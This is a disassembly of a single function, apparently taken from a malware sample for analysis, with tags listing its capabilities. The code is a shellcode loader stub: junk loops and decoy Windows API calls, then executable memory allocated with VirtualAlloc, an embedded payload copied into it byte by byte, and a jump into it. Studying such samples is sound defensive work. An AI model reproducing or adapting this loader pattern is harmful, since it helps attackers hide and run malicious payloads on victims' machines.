Function at 0x404550
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x40457a
inc esi
cmp esi, 0x73f04bd
jl 0x404566
cmp dword [0x453d1c], 0x400
jne 0x4045cb
push ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push ebx
push ebx
call fcn.00404d38
push ebx
call fcn.00405002
add esp, 0xc
push ebx
call fcn.004053a1
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405060
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405210
fstp st(0)
add esp, 8
cmp dword [0x453d1c], 0x93
jne 0x404633
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x403fb0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
call fcn.00405090
add esp, 4
push ebx
push ebx
call fcn.004050bf
add esp, 8
call fcn.00404540
fldz
push ebx
sub esp, 8
fstp qword [esp]
call fcn.00404b86
add esp, 0xc
fstp st(0)
push ebx
push ebx
call fcn.004051e1
add esp, 8
mov eax, dword [0x453d1c]
mov ecx, dword [0x44eeb4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x454b58], ecx
mov dword [0x453d1c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4537ac], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x404667
cmp dword [0x453d1c], ebx
jbe 0x4046dc
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
jmp 0x404690
mov edx, dword [0x454b58]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4537ac]
mov byte [ecx + esi], al
cmp dword [0x453d1c], 0x490
jne 0x4046d3
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x404038
call edi
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call ebx
inc esi
cmp esi, dword [0x453d1c]
jb 0x404690
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
xor esi, esi
mov edx, dword [0x453d1c]
add edx, esi
cmp edx, 0x8d
jne 0x40471f
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
push 0
push 0
push 0
call edi
lea ecx, [ebp - 8]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x4046ea
call fcn.00404410
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404741
call ebx
cmp esi, 0x207142
jg 0x404752
inc esi
cmp esi, 0x67d12
jl 0x404737
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x404772
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x113bc
mov edx, dword [ebp - 4]
add dword [0x4537ac], edx
inc esi
cmp esi, 0x674bd
jl 0x404754
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFix]
mov dword [ebp - 4], 0x7b
cmp dword [0x453d1c], 0x86
jne 0x4047ca
push 0x403f94
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x453d1c], 0xf
jne 0x4047df
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub dword [ebp - 4], 1
jne 0x404794
push 0x404118
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x4537ac]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret